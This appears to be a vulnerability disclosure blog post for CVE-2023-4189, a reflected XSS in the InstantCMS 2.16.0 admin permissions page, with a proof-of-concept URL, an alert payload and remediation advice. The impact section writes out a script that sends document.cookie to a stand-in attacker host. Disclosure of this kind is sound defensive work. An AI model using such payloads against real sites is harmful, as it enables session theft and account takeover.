Introduction
Cross Site Scripting (XSS) refers to when arbitrary JavaScript code could be run by submitting malicious input to the application, the code would then be executed in the context of the victim’s browser. When testing for XSS issues, common and easily detectable JavaScript functions are used such as “alert()” or “print()”. There are three main types of XSS attacks.
Stored XSS refers to when the malicious input is stored within the application, usually by the database. The malicious input would then be triggered when the victim visits a page where the malicious input is fetched from the database and rendered on the page.
DOM-based XSS refers to when JavaScript takes input from a source and passes it to a sink that supports code execution. This is processed and triggered on the client-side.
Reflected XSS refers to when the application receives input in such a way that it is rendered in an unsafe manner. This is processed by the server then passed to the victim.
InstantCMS is a free open-source Content Management System (CMS) which allows building of websites for any purpose. In version 2.16.0, there is a reflected XSS vulnerability present on the “/admin/controllers/edit/activity/perms/” page.
CVE-2023-4189
Title | Reflected XSS |
Software Version | ICMS2 2.16.0 (https://github.com/instantsoft/icms2) |
Impact | CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N – 4.8 (Medium) |
Reported | 2 August 2023 |
Reported By | Dylan Chew |
Proof of Concept
The “/admin/controllers/edit/activity/perms/” page takes the trailing input from the URL directly without sufficient sanitization. This is reflected on the web page which leads to a reflected XSS vulnerability. A valid administrator session is required to reach the vulnerable page.
Login as the administrator and visit the following URL directly.
http://icms.local/admin/controllers/edit/activity/perms/%22%3E%3Cimg%20src%3da%20onerror%3dalert(location.origin)%3E
The following is the payload without URL encoding.
“><img src=a onerror=alert(location.origin)>
The following would be what the client-side HTML code would look like once the page renders, where red is the inserted payload.
<form action=”/admin/controllers/edit/activity/perms_save/”><img src=a onerror=alert(location.origin)>” method=”post”>
Impact and Remediation
An attacker could perform unauthorized actions in the context of the victim’s browser such as viewing or modifying data that the victim is allowed to. The sessions of users could also be stolen by sending the cookie to an attacker-controlled server, below is an example of a payload to do so.
<script>fetch(‘//attacker.com’,{method:’POST’,mode: ‘no-cors’,body:document.cookie});</script>
To rectify or prevent such issues, it is recommended to encode the data when outputting and validating the input when received.
For HTML contexts, the data can be converted to HTML entities, an example would be “>” turning into “>”. For JavaScript contexts, the data can be converted to Unicode characters, an example would be “>” turning into “\u003e”.
When validating input, the whitelist approach where specific characters are allowed is preferred over the blacklist approach where known bad characters are blocked. Ideally, both measures should be used in conjunction to form a layered defense, and it should be implemented on server-side as client-side measures can be bypassed.
References
Vulnerability Disclosure Details
- https://github.com/instantsoft/icms2
- https://huntr.com/bounties/b00e6986-64e7-464e-ba44-e42476bfcdc4
- https://nvd.nist.gov/vuln/detail/CVE-2023-4189
Further information
- https://portswigger.net/web-security/cross-site-scripting
- https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
The CVE has been awarded to, and this blog post is written by Dylan Chew, Senior Consultant with Hexadius.